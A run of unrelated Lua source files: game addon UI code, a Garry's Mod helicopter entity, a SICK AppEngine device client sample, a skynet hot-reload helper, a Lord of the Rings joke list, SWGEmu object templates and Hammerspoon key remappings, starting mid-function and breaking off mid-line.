_G["DL_adv_frame_search_Color" .. part .. "c2Block"]:SetColor(1, 1, 1) end end end end end function me.OnColorClick(this) if DL_PreviewFrameModel:GetMaterialCount() == 0 then DL_PreviewFrameModel:SetModel(100001) end local slot = this:GetParent():GetID() local Modelinfo = ModelParts[slot] local name = TEXT(string.format("SYS_EQWEARPOS_%02i", slot)) .. " - " local cidx = 3 if this:GetID() == 1 then name = name .. C_MAIN_COLOR else name = name .. C_SUB_COLOR cidx = 6 end local oldval = ModelParts[slot] local info = { parent = this, titleText = name, alphaMode = nil, r = Modelinfo[cidx] or 1, g = Modelinfo[cidx + 1] or 1, b = Modelinfo[cidx + 2] or 1, callbackFuncUpdate = function () local r = ColorPickerFrame.r local g = ColorPickerFrame.g local b = ColorPickerFrame.b if this:GetID() == 1 then DL_PreviewFrameModel:SetComponentColors(ModelParts[slot][1], r, g, b, Modelinfo[6] or 1, Modelinfo[7] or 1, Modelinfo[8] or 1) else DL_PreviewFrameModel:SetComponentColors(ModelParts[slot][1], Modelinfo[3] or 1, Modelinfo[4] or 1, Modelinfo[5] or 1, r, g, b) end DL_PreviewFrameModel:Build() _G[this:GetName() .. "Block"]:SetColor(r, g, b) end, callbackFuncOkay = function () ModelParts[slot][cidx] = ColorPickerFrame.r ModelParts[slot][cidx + 1] = ColorPickerFrame.g ModelParts[slot][cidx + 2] = ColorPickerFrame.b end, callbackFuncCancel = function() ModelParts[slot] = oldval r = ModelParts[slot][cidx] or 1 g = ModelParts[slot][cidx + 1] or 1 b = ModelParts[slot][cidx + 2] or 1 if ModelParts[slot][2] then DL_PreviewFrameModel:SetItemLink(string.format("|Hitem:%x|h|h", ModelParts[slot][2])) end DL_PreviewFrameModel:SetComponentColors(ModelParts[slot][1], ModelParts[slot][3] or 1, ModelParts[slot][4] or 1, ModelParts[slot][5] or 1, ModelParts[slot][6] or 1, ModelParts[slot][7] or 1, ModelParts[slot][8] or 1) DL_PreviewFrameModel:Build() _G[this:GetName() .. "Block"]:SetColor(r, g, b) end, } ColorPickerFrame:ClearAllAnchors() ColorPickerFrame:SetAnchor("LEFT", "RIGHT", this:GetName(), 20, 0) OpenColorPickerFrameEx( info ) end DL.ui = me
ENT.Base = "wac_hc_base" ENT.Type = "anim" ENT.Author = wac.author ENT.Category = wac.aircraft.spawnCategory ENT.Spawnable = true ENT.AdminSpawnable = true ENT.PrintName = "Black Hawk UH-60" ENT.Model = "models/bf2/helicopters/uh-60 blackhawk/uh60_b.mdl" ENT.TopRotor = { dir = -1, pos = Vector(0, 0, 100), model = "models/bf2/helicopters/uh-60 blackhawk/uh60_r.mdl", } ENT.BackRotor = { pos = Vector(-400,17,134), model = "models/bf2/helicopters/uh-60 blackhawk/uh60_rr.mdl", angles = Angle(0, 0, 192) } ENT.SmokePos = Vector(-80,40,90)--{Vector(-80,40,90), Vector(-80,-40,90)} ENT.FirePos = Vector(-25,0,130) ENT.Seats = { { pos = Vector(110,-31,30), exit = Vector(140,-100,3), NoHud = true, }, { pos = Vector(110,31,30), exit = Vector(140,100,3), NoHud = true, }, { pos = Vector(65,-24,33), ang = Angle(0,-90,0), exit = Vector(33,-100,3), NoHud = true, }, { pos = Vector(65,24,33), ang = Angle(0,90,0), exit = Vector(33,101.04,3), NoHud=true, }, { pos = Vector(34.5,34,33), ang= Angle(0,180,0), exit = Vector(33,100,3), NoHud=true, }, { pos = Vector(-48,34,33), exit = Vector(-20,100,3), NoHud = true, }, { pos = Vector(-48,-34,33), exit = Vector(-20,-100,3), NoHud = true, }, } ENT.Sounds = { Start = "WAC/Heli/h6_start.wav", Blades = "WAC/Heli/uh60_loop.wav", Engine = "", MissileAlert = "HelicopterVehicle/MissileNearby.mp3", MissileShoot = "HelicopterVehicle/MissileShoot.mp3", MinorAlarm = "HelicopterVehicle/MinorAlarm.mp3", LowHealth = "HelicopterVehicle/LowHealth.mp3", CrashAlarm = "HelicopterVehicle/CrashAlarm.mp3", Radio = "HelicopterVehicle/MissileNearby.mp3", }
--[[---------------------------------------------------------------------------- Application Name: CommandClient Description: TCPIP-Client connection and Command.Client creation using SOPAS ET project. This samples creates a TCPIPClient connection to the local address of the device itself ("127.0.0.1") and create a Command.Client on the connection using a SOPAS ET project ("AppEngine.sopas") of the own device as description. After open the device ident variable of the connected device is read and printed to the console. Then a login to device is done and the variable location name is written. All parameters of the device are backed up then into the file "private/backup.sopas" The location name is changed again and the variables are restored from the stored "private/backup.sopas" file. After the restore the location name variable is checked that it is overwritten again by the restore. At the end a logout is done on the device. This sample can be run with the emulator. The console is printing the actions and a "successfully finished" at the end. A file is created in the private AppData folder (refresh). This "backup.sopas" file can be downloaded (e.g. drag and drop from the AppData tab) and opened in SOPAS ET. ------------------------------------------------------------------------------]] --Start of Global Scope--------------------------------------------------------- -- Create and configure the connection local conHandle = TCPIPClient.create() TCPIPClient.setIPAddress(conHandle, '127.0.0.1') -- Connect to own AppEngine process TCPIPClient.setPort(conHandle, 2111) TCPIPClient.connect(conHandle, 5000) -- wait 5 seconds for connected assert(TCPIPClient.isConnected(conHandle)) -- connection handling has to be done by the user of the Command.Client -- Create, configure and open the client local handle = Command.Client.create() Command.Client.setDescriptionFile(handle, 'resources/AppEngine.sopas') Command.Client.setConnection(handle, conHandle) Command.Client.setProtocol(handle, 'COLA_A') assert(Command.Client.open(handle)) -- Now the ".sopas"-file is loaded and the client is registered at the connection and can be used -- read the DeviceIdent from the device and print the name and version print("Reading variable 'DeviceIdent'") local paramNode = Command.Client.read(handle, 'DeviceIdent') if paramNode then local devName = Parameters.Node.get(paramNode, 'Name') print('Device name is: ' .. devName) local devVersion = Parameters.Node.get(paramNode, 'Version') print('Device version is: ' .. devVersion) else print('error') end -- Login to device to write a variable and make restore possible print("Login with level 'Authorized Client'") local node = Command.Client.createNode(handle, 'SetAccessMode') assert(node) assert(Parameters.Node.set(node, 3, 'NewMode')) -- userlevel "Authorized Client" assert(Parameters.Node.set(node, 0xF4724744, 'Password')) -- encoded password "client" local success, result = Command.Client.invoke(handle, 'SetAccessMode', node) assert(success and result) assert(Parameters.Node.get(result, 'success')) -- Write a variable to the device print("Writing variable 'LocationName'") node = Command.Client.createNode(handle, 'LocationName') assert(node) assert(Parameters.Node.set(node, 'MyDevice')) success = Command.Client.write(handle, 'LocationName', node) assert(success) -- Backup all parameters to a ".sopas" file which can be opened in SOPAS ET print('Starting backup') assert(Command.Client.backup(handle, 'private/backup.sopas')) -- Write a variable to the device to check restoring print("Writing variable 'LocationName'") node = Command.Client.createNode(handle, 'LocationName') assert(node) assert(Parameters.Node.set(node, 'MyOtherDevice')) local bsuccess = Command.Client.write(handle, 'LocationName', node) assert(bsuccess) -- Restore parameters back to device (login is needed above so that it works) print('Restoring parameters to device') assert(Command.Client.restore(handle, 'private/backup.sopas')) -- Read location name again, is now back to something other print("Reading variable 'LocationName'") node = Command.Client.read(handle, 'LocationName') assert(node) local name = Parameters.Node.get(node) assert(name and name == 'MyDevice') -- "MyOtherDevice" is overwritten by restore -- Logout clearly from the device print('Logging out from device') success = Command.Client.invoke(handle, 'Run') assert(success) print('CommandClient sample finished successfully') --End of Global Scope-----------------------------------------------------------
-- 热更新机制,基于https://github.com/jinq0123/hotfix --- Hotfix helper which hotfixes modified modules. -- Using lfs to detect files' modification. -- 建议:只用在开发环境 local M = { } local skynet = require("skynet") local lfs = require("lfs") local hotfix = require("hotfix.hotfix") -- Map file path to file time to detect modification. local path_to_time = { } -- global_objects which must not hotfix. local global_objects = { arg, assert, collectgarbage, coroutine, debug, dofile, error, getmetatable, io, ipairs, lfs, load, loadfile, math, next, os, package, pairs, pcall, print, rawequal, rawget, rawlen, rawset, require, select, setmetatable, string, table, tonumber, tostring, type, utf8, xpcall, skynet, -- skynet 模块不能够热更 } --- Check modules and hotfix. function M.check() local MOD_NAME = "bw.hotfix.hotfix_module_names" if not package.searchpath(MOD_NAME, package.path) then return end -- package.loaded[MOD_NAME] = nil -- always reload it local module_names = require(MOD_NAME) for _, module_name in pairs(module_names) do local path, err = package.searchpath(module_name, package.path) -- Skip non-exist module. if not path then skynet.error(string.format("No such module: %s. %s", module_name, err)) goto continue end local file_time = lfs.attributes (path, "modification") if file_time == path_to_time[path] then goto continue end skynet.error(string.format("Hot fix module %s (%s)", module_name, path)) path_to_time[path] = file_time hotfix.hotfix_module(module_name) ::continue:: end -- for end -- check() function M.init() hotfix.log_debug = function(s) skynet.error(s) end hotfix.add_protect(global_objects) end return M
-- * _JOKER_VERSION: 0.0.1 ** Please do not modify this line. --[[---------------------------------------------------------- Joker - Jokes, Riddles, Fun Facts, & Other Tomfoolery ---------------------------------------------------------- * * ADDING YOUR OWN JOKES: * Be aware that modifying this file incorrectly could break Joker, * so for normal users I recommend just compiling your jokes in the * '_MyCustomJokes.lua' file instead. * * COMPILATION: LotR-related jokes * * SOURCES: * Reddit Search, * Google Search * ]]-- JokerData = JokerData or {} JokerData.Config = JokerData.Config or {} JokerData.Config.LordOfTheRings = { command = "lotr", disable = false, joke = true, label = "Lord of the Rings", nsfw = false, whitelistSlashCommand = true } JokerData.LordOfTheRings = { "Why don't you ask a hobbit for money? Because they're always a little short.", "What do you call a hobbit that eats junk food? Lord of the Onion Rings", "Why are most hobbits good guys? Because they don't look down on people.", "What do you call a movie about a gangster hobbit? Yolo Swaggins and the Fellowship of the Bling.", "What do they call Gandalf at the local tavern? The White Whizzer", "Why did the hobbit go to McDonald's? To get a second breakfast.", "My teacher's name is Gandalf - needless to say, he didn't let me pass.", "I would make another Lord of the Rings joke, but all the good ones Aragorn.", "Yo momma's so old she knew Gandalf before he had a beard.", "Why the the dwarves leave Erebor in Middle-Earth? They didn't like the polution - there was to much Smaug!", "Why is it so hard to attack Barad-dûr? Because no matter how many you open, there are always Mordors.", "Why are Hobbit doors round? Well, if you ate seven meals a day, you'd need round doors, too!", "How did the trolls find Gimli's father at night? He was Glóin in the dark!", "Call the Nazgûl 'black riders' bothers me - that's so wraith-ist!", "Who was the most volatile actor in LotR? Orlando Boom!", "Where do Hobbits ride horses? At the Frodeo!", "How many times do you have to phone Sauron? Once - it only takes One Ring!", "What if all the weapons in LoTR were replaced with pool noodles? YOU SHALL NOT SPLASH!", "Smaug represents everything I want in a romantic interest: 1) Money, 2) Dragon.", "What did the drunken hobbit say when he bumped into the wizard? Saruman, I didn't see you there!", "How many quarters does it take to play the new Lord of the Rings pinball game? None - it only accepts Tolkiens.", "What is Gollum's favorite bird? A Smea-gull!", "What did elves often dance with the trees? They find it Ent-tertaining.", "What do you call a dark lord that works at KFC? Lord of the Wings", "What do you call the wraith king? A ring leader!", "What did Borimir say to the Rolling Stones? 'Have you not heard? One does not simply rock into Mordor!'", "Why do they keep coming out with more LotR movies? Becaue the fans won't stop Baggins for it.", "What is the difference between Sauron and The Easter Bunny? Nobody knows, no one has seen either one.", "What did the Hobbits scream as they were riding the Ents into battle against Isengard? 'Run, Forest, Run!'", "According to 'The Hobbit', Gollum was once a normal man. The biggest mistake he made was putting on that ring, which drained him of his youth, vitality, and energy. I got one of those when I was married.", "Why couldn't the hobbit go into the bathroom? It was orcuppied.", "Why did the hobbit set his cell phone to vibrate? He was afraid the ring would give him away.", "Just bought the extended version of The Hobbit. Bilbo is 7'6\" now.", "Two Elves walk into a bar. The hobbit laughs and walks under it.", "I feel like three movies is a bit much for The Hobbit - seems like they're really dragon it out.", "Why did the hobbit fall? He had a Frodoian slip.", "I was once obsessed with LotR: the books, the movies, the collectables - everything. Thank god, recently I was finally able to kick the hobbit.", "What natural process do all plants in Middle-Earth rely on to survive? Frodo-synthesis.", "What musical spin-off of LotR can we most expect next from Disney? Merry Pippins", "If all the problems in LotR come from Sauron, why not just flick the light switch and turn Saur off?", "On a scale of 1 to Lord of the Rings, how much did you walk today?" }
--[[ AdiBags - Adirelle's bag addon. Copyright 2010-2014 Adirelle (adirelle@gmail.com) All rights reserved. This file is part of AdiBags. AdiBags is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. AdiBags is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with AdiBags. If not, see <http://www.gnu.org/licenses/>. --]] local addonName, addon = ... local L = addon.L --<GLOBALS local _G = _G local format = _G.format local GameTooltip = _G.GameTooltip local IsAltKeyDown = _G.IsAltKeyDown local IsControlKeyDown = _G.IsControlKeyDown local IsModifierKeyDown = _G.IsModifierKeyDown local IsShiftKeyDown = _G.IsShiftKeyDown local pairs = _G.pairs local setmetatable = _G.setmetatable local tconcat = _G.table.concat local tinsert = _G.tinsert local tsort = _G.table.sort local wipe = _G.wipe --GLOBALS> local mod = addon:NewModule('TooltipInfo', 'ABEvent-1.0', 'AceHook-3.0') mod.uiName = L['Tooltip information'] mod.uiDesc = L['Add more information in tooltips related to items in your bags.'] function mod:OnInitialize() self.db = addon.db:RegisterNamespace(self.name, {profile={ item = 'any', container = 'any', filter = 'any', }}) end function mod:OnEnable() if not self.hooked then GameTooltip:HookScript('OnTooltipSetItem', function(...) if self:IsEnabled() then return self:OnTooltipSetItem(...) end end) self.hooked = true end end function mod:GetOptions() local modMeta = { __index = { type = "select", width = "double", values = { never = L["Never"], shift = L["When shift is held down"], ctrl = L["When ctrl is held down"], alt = L["When alt is held down"], any = L["When any modifier key is held down"], always = L["Always"], }, }} return { item = setmetatable({ name = L["Show item information..."], order = 10, }, modMeta), container = setmetatable({ name = L["Show container information..."], order = 20, }, modMeta), filter = setmetatable({ name = L["Show filtering information..."], order = 30, }, modMeta), }, addon:GetOptionHandler(self) end local modifierTests = { never = function() end, always = function() return true end, any = IsModifierKeyDown, shift = IsShiftKeyDown, ctrl = IsControlKeyDown, alt = IsAltKeyDown, } local function TestModifier(name) return modifierTests[mod.db.profile[name] or "never"]() end local t = {} local GetBagSlotFromId = addon.GetBagSlotFromId function mod:OnTooltipSetItem(tt) local button = tt:GetOwner() if not button then return end local bag, slot, container = button.bag, button.slot, button.container if not (bag and slot and container) then return end local slotData = container.content[bag][slot] local stack = button:GetStack() if stack then button = stack end local numLines = tt:NumLines() if slotData.link and TestModifier("item") then tt:AddLine(" ") tt:AddLine(L["Item information"], 1, 1, 1) tt:AddDoubleLine(L["Maximum stack size"], slotData.maxStack) tt:AddDoubleLine(L["AH category"], slotData.class) tt:AddDoubleLine(L["AH subcategory"], slotData.subclass) end if TestModifier("container") then tt:AddLine(" ") tt:AddLine(L["Container information"], 1, 1, 1) local vBag, vSlot = bag, slot if stack then wipe(t) for slotId in pairs(stack.slots) do tinsert(t, format("(%d,%d)", GetBagSlotFromId(slotId))) end if #t > 1 then tsort(t) tt:AddDoubleLine(L["Virtual stack slots"], tconcat(t, ", ")) vBag, vSlot = nil, nil end end if vBag and vSlot then tt:AddDoubleLine(L["Bag number"], vBag) tt:AddDoubleLine(L["Slot number"], vSlot) end end if TestModifier("filter") then tt:AddLine(" ") tt:AddLine(L["Filtering information"], 1, 1, 1) tt:AddDoubleLine(L["Filter"], button.filterName or "-") local section = button:GetSection() tt:AddDoubleLine(L["Section"], section.name or "-") tt:AddDoubleLine(L["Category"], section.category or "-") end if tt:NumLines() > numLines then tt:Show() end end
--Copyright (C) 2009 <SWGEmu> --This File is part of Core3. --This program is free software; you can redistribute --it and/or modify it under the terms of the GNU Lesser --General Public License as published by the Free Software --Foundation; either version 2 of the License, --or (at your option) any later version. --This program is distributed in the hope that it will be useful, --but WITHOUT ANY WARRANTY; without even the implied warranty of --MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. --See the GNU Lesser General Public License for --more details. --You should have received a copy of the GNU Lesser General --Public License along with this program; if not, write to --the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA --Linking Engine3 statically or dynamically with other modules --is making a combined work based on Engine3. --Thus, the terms and conditions of the GNU Lesser General Public License --cover the whole combination. --In addition, as a special exception, the copyright holders of Engine3 --give you permission to combine Engine3 program with free software --programs or libraries that are released under the GNU LGPL and with --code included in the standard release of Core3 under the GNU LGPL --license (or modified versions of such code, with unchanged license). --You may copy and distribute such a system following the terms of the --GNU LGPL for Engine3 and the licenses of the other code concerned, --provided that you include the source code of that other code when --and as the GNU LGPL requires distribution of source code. --Note that people who make modified versions of Engine3 are not obligated --to grant this special exception for their modified versions; --it is their choice whether to do so. The GNU Lesser General Public License --gives permission to release a modified version without this exception; --this exception also makes it possible to release a modified version --which carries forward this exception. --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_belt = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_belt.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_belt, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_belt.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_belt_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_belt_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_belt_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_belt_gcw.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_l = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_l.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_l, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_l.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_l_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_l_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_l_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_l_gcw.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_r = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_r.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_r, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_r.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_r_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_r_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_r_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_r_gcw.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_boots = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_boots.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_boots, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_boots.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_boots_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_boots_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_boots_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_boots_gcw.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_l = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_l.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_l, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_l.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_l_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_l_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_l_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_l_gcw.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_r = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_r.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_r, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_r.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_r_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_r_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_r_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_r_gcw.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_chest_plate = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_chest_plate.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_chest_plate, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_chest_plate.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_chest_plate_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_chest_plate_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_chest_plate_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_chest_plate_gcw.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_gloves = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_gloves.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_gloves, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_gloves.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_gloves_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_gloves_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_gloves_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_gloves_gcw.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_helmet = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_helmet.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_helmet, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_helmet.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_helmet_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_helmet_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_helmet_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_helmet_gcw.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_leggings = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_leggings.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_leggings, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_leggings.iff") --**************************************************************************************************************************************************************************** --**************************************************************************************************************************************************************************** object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_leggings_gcw = SharedTangibleObjectTemplate:new { clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_leggings_gcw.iff" } ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_leggings_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_leggings_gcw.iff") --****************************************************************************************************************************************************************************
local function pressFn(mods, key) if key == nil then key = mods mods = {} end return function() hs.eventtap.keyStroke(mods, key, 1000) end end local function remap(mods, key, pressFn) hs.hotkey.bind(mods, key, pressFn, nil, pressFn) end -- bonus! remap({'ctrl'}, ';', pressFn('delete')) -- hjkl remap({'ctrl'}, 'h', pressFn('left')) remap({'ctrl'}, 'j', pressFn('down')) remap({'ctrl'}, 'k', pressFn('up')) remap({'ctrl'}, 'l', pressFn('right')) remap({'ctrl', 'shift'}, 'h', pressFn({'shift'}, 'left')) remap({'ctrl', 'shift'}, 'j', pressFn({'shift'}, 'down')) remap({'ctrl', 'shift'}, 'k', pressFn({'shift'}, 'up')) remap({'ctrl', 'shift'}, 'l', pressFn({'shift'}, 'right')) remap({'ctrl', 'cmd'}, 'h', pressFn({'cmd'}, 'left')) remap({'ctrl', 'cmd'}, 'j', pressFn({'cmd'}, 'down')) remap({'ctrl', 'cmd'}, 'k', pressFn({'cmd'}, 'up')) remap({'ctrl', 'cmd'}, 'l', pressFn({'cmd'}, 'right')) remap({'ctrl', 'alt'}, 'h', pressFn({'alt'}, 'left')) remap({'ctrl', 'alt'}, 'j', pressFn({'alt'}, 'down')) remap({'ctrl', 'alt'}, 'k', pressFn({'alt'}, 'up')) remap({'ctrl', 'alt'}, 'l', pressFn({'alt'}, 'right')) remap({'ctrl', 'shift', 'cmd'}, 'h', pressFn({'shift', 'cmd'}, 'left')) remap({'ctrl', 'shift', 'cmd'}, 'j', pressFn({'shift', 'cmd'}, 'down')) remap({'ctrl', 'shift', 'cmd'}, 'k', pressFn({'shift', 'cmd'}, 'up')) remap({'ctrl', 'shift', 'cmd'}, 'l', pressFn({'shift', 'cmd'}, 'right')) remap({'ctrl', 'shift', 'alt'}, 'h', pressFn({'shift', 'alt'}, 'left')) remap({'ctrl', 'shift', 'alt'}, 'j', pressFn({'shift', 'alt'}, 'down')) remap({'ctrl', 'shift', 'alt'}, 'k', pressFn({'shift', 'alt'}, 'up')) remap({'ctrl', 'shift', 'alt'}, 'l', pressFn({'shift', 'alt'}, 'right')) remap({'ctrl', 'cmd', 'alt'}, 'h', pressFn({'cmd', 'alt'}, 'left')) remap({'ctrl', 'cmd', 'alt'}, 'j', pressFn({'cmd', 'alt'}, 'down')) remap({'ctrl', 'cmd', 'alt'}, 'k', pressFn({'cmd', 'alt'}, 'up')) remap({'ctrl', 'cmd', 'alt'}, 'l', pressFn({'cmd', 'alt'}, 'right')) remap({'ctrl', 'cmd', 'alt', 'shift'}, 'h', pressFn({'cmd', 'alt', 'shift'}, 'left')) remap({'ctrl', 'cmd', 'alt', 'shift'}, 'j', pressFn({'cmd', 'alt', 'shift'}, 'down')) remap({'ctrl', 'cmd', 'alt', 'shift'}, 'k', pressFn({'cmd', 'alt', 'shift'}, 